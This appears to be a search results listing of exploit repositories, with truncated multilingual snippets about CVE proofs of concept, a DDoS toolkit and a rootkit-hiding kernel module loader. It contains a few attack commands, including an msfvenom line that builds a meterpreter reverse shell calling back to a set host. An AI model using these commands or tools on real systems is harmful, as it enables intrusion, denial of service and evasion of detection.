32235 matches found
CVE-2024-2242
CVE-2024-2242 Contact Form 7 hist...
CVE-2021-3156-centos7
CVE-2021-3156-centos7 Sfrutta l'elevazione dei privilegi tramite sudo, solo per CentOS 7. Versioni interessate: sudo: 1.8.2 - 1.8.31p2 sudo: 1.9.0 - 1.9.5p1 Accedi al sistema come utente non root ed esegui il seguente comando: sudoedit -s / Se l'output è not a regular file è probabile che la...
7-Zip.chm-Mitigation
Mitigazione di 7-Zip.chm 7-Zip Mitigazione CVE-2022-29072 Spiegazione : https://user-images.githubusercontent.com/33525376/163654035-d40ca72a-7dbc-425f-ade2-3820cfababb2.mp4 Autore del CVE : https://github.com/kagancapar/CVE-2022-29072 È stata scoperta una vulnerabilità in 7-zip, il popolare...
Drupalgeddon-Python3
Drupalgeddon Edizione Python3 Una riscrittura del POC per la CVE-2014-3704, realizzata come parte del mio training CPTS su HackTheBox. https://nvd.nist.gov/vuln/detail/CVE-2014-3704 CVE-2014-3704 conosciuta come Drupalgeddon, colpisce le versioni dalla 7.0 alla 7.31 ed è stata risolta nella...
CVE-2020-1020
CVE-2020-1020 Corrupção de pilha VToHOrigin no driver de fonte Windows Type 1 funciona apenas no win7 x64...
CVE-2018-15982
CVE-2018-15982 Sorgenti Flash per CVE-2018-15982 usate da NK questo è un dump di un oggetto ActiveX completamente weaponizzato usato da NK https://threatpost.com/adobe-patches-zero-day-vulnerability-in-flash-player/139629/ I payload sono nelle Classi 6 e 7...
CVE-2012-1876-win7_x86_and_win7x64
Questo repository non contiene un README...
CVE-2013-3660-x64-WIN7
Dieses Repository hat keine README-Datei...
ufonet
Webseite: https://ufonet.03c8.net Beschreibung: UFONet ist eine freie Software, ein P2P- und kryptografischer -störender Werkzeugkasten-, der es ermöglicht, DoS- und DDoS-Angriffe durchzuführen; auf Schicht 7 APP/HTTP durch die Ausnutzung von Open-Redirect-Vektoren auf Websites Dritter, um als...
CVE-2018-7600-Drupal-RCE
CVE-2018-7600 Drupal RCE Crediti a: File| Versione Drupal| Fonte| Commento ---|---|---|--- poc0-curl.sh| 8| https://twitter.com/ibo0om/status/984674893768921089 https://twitter.com/IamSecurity/status/984977193565646848 https://gist.github.com/g0tmi1k/7476eec3f32278adc07039c3e5473708| poc1-a2u.py|...
Etern-blue-Windows-7-Checker
Eternalblue SMB1 Windows7/10 verificatore Aggiornato e ora rileva Windows 7 e anche le vecchie versioni di Windows 10 che supportano SMB 1. Ho implementato solo smb 1 e qualsiasi server smb 2 su cui provi questo strumento restituirà un "not vulnerabile". Ho studiato la struttura di un pacchetto...
CVE-2025-3515
CVE-2025-3515 - WordPress Datei-Upload RCE Verwendung root@kitploit: python3 exploit.py Übersicht CVE-2025-3515 ist eine Datei-Upload-Sicherheitslücke im WordPress-Plugin "Drag and Drop Multiple File Upload for Contact Form 7", die es nicht authentifizierten Angreifern ermöglicht, schädliche...
7zip-CVE-2025-11001
Utilizzo: root@kitploit: python3 exploit.py -t "C:\Users\pac\Desktop" -o demo.zip --data-file calc.exe Sfruttare 7-Zip La vulnerabilità è sfruttabile solo su Windows e presenta un importante limite. Il bug può essere sfruttato solo quando 7-Zip viene eseguito con privilegi di amministratore...
CVE-2016-0040
CVE-2016-0040 Dieser Exploit baut auf SMMRootkits 32-Bit-Projekt https://github.com/Rootkitsmm/cve-2016-0040 auf, das diese Schwachstelle dazu bringt, einen BSoD mit lauter 'a's in RCX und 'B's in RAX auszulösen. Es wurde auf 64-Bit Windows 7 SP1 portiert und verwendet nicht die "mov rcx+06h,...
ENLBufferPwn
ENLBufferPwn CVE-2022-47949 CVE:| CVE-2022-47949 ---|--- CVSS v3.1:| 9.8/10 Critica Autori:| PabloMK7, Rambo6Glaz, Fishguy6564 Segnalato:| 8 agosto 2021 Mario Kart 7 14 aprile 2022 per i giochi WiiU e Switch interessati Divulgato:| 22 dicembre 2022 Indice dei contenuti Descrizione Dettagli della...
Zulu
Zulu - il fuzzer interattivo Rilasciato come open source da NCC Group Plc - http://www.nccgroup.com/ Sviluppato da Andy Davis, andy dot davis at nccgroup dot com https://www.github.com/nccgroup/Zulu Rilasciato sotto AGPL, vedere LICENSE per maggiori informazioni Documentazione vedere...
encrypted-linux-kernel-modules
ELKM: Verschlüsselte ladbare Linux-x86-64-Kernelmodule ELKM bietet einen Mechanismus, um verschlüsselte ladbare Kernelmodule LKM sicher zu übertragen und zu laden. Ziel ist es, kernelbasierte Rootkits und Implantate vor der Beobachtung durch Endpoint-Detection-and-Response-Software EDR zu schütze...
MAL-015
MAL-015: Isolation Escape 2 in Ansible Tower Installationen von Ansible Tower unter bestimmten Rhel-7/8-Konfigurationen sind potenziell anfällig für „Job Isolation“-Escapes, die einem Angreifer ermöglichen, von außerhalb der isolierten Umgebung zum Benutzer „awx“ aufzusteigen. Die folgenden...
CVE-2022-24500
Exploit RCE CVE-2022-24500 Vulnerabilità di esecuzione remota di codice in SMB di Windows Vulnerabilità: Windows 7 - Windows 2022 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24500 Passo 1 root@kitploit: msfvenom -p windows/meterpreter/reversetcp LHOST=192.10.22.105 LPORT=4444 -...